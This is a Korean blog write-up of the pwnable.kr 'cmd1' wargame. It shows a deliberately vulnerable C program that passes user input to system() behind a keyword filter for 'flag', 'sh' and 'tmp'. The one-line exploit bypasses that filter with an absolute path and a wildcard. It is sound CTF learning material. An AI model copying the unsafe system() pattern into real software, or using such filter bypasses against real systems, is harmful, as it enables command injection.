728x90
반응형
1. intro
2. code 및 분석
2.1. code
#include <stdio.h>
#include <string.h>
int filter(char* cmd){
int r=0;
r += strstr(cmd, "flag")!=0;
r += strstr(cmd, "sh")!=0;
r += strstr(cmd, "tmp")!=0;
return r;
}
int main(int argc, char* argv[], char** envp){
putenv("PATH=/thankyouverymuch");
if(filter(argv[1])) return 0;
system( argv[1] );
return 0;
}
2.2. 분석
putenv를 통해 PATH 환경변수를 임의 폴더로 변경한다.
이는 곧 일반적으로 실행했던 ls, cat 등의 명령어가 그대로는 실행 불가능하며, 절대 경로를 사용해야한다는 말과 동일하다.
cmd1@pwnable:~$ export
declare -x HOME="/home/cmd1"
declare -x LANG="en_US.UTF-8"
declare -x LOGNAME="cmd1"
declare -x MAIL="/var/mail/cmd1"
declare -x OLDPWD
declare -x PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin"
즉, 아래와 같이 실행해야한다는 소리.
cmd1@pwnable:~$ ./cmd1 cat
sh: 1: cat: not found
cmd1@pwnable:~$ ./cmd1 /bin/cat
a
a
b
b
더불어 flag, sh, tmp 문자열을 argv[1]에 삽입하여도 null 처리되기 때문에 이를 우회하여야 한다.
즉, 해당 문자열만 아니면 되기에 와일드카드로 대체하면 된다.
3. exploit
cmd1@pwnable:~$ ./cmd1 "/bin/cat f*"
----------#플래그는 삭제
728x90
반응형
'Wargame > pwnable.kr' 카테고리의 다른 글
uaf (0) | 2023.02.14 |
---|---|
cmd2 (0) | 2023.01.25 |
lotto (0) | 2023.01.25 |
blackjack (0) | 2023.01.25 |
flag (0) | 2023.01.25 |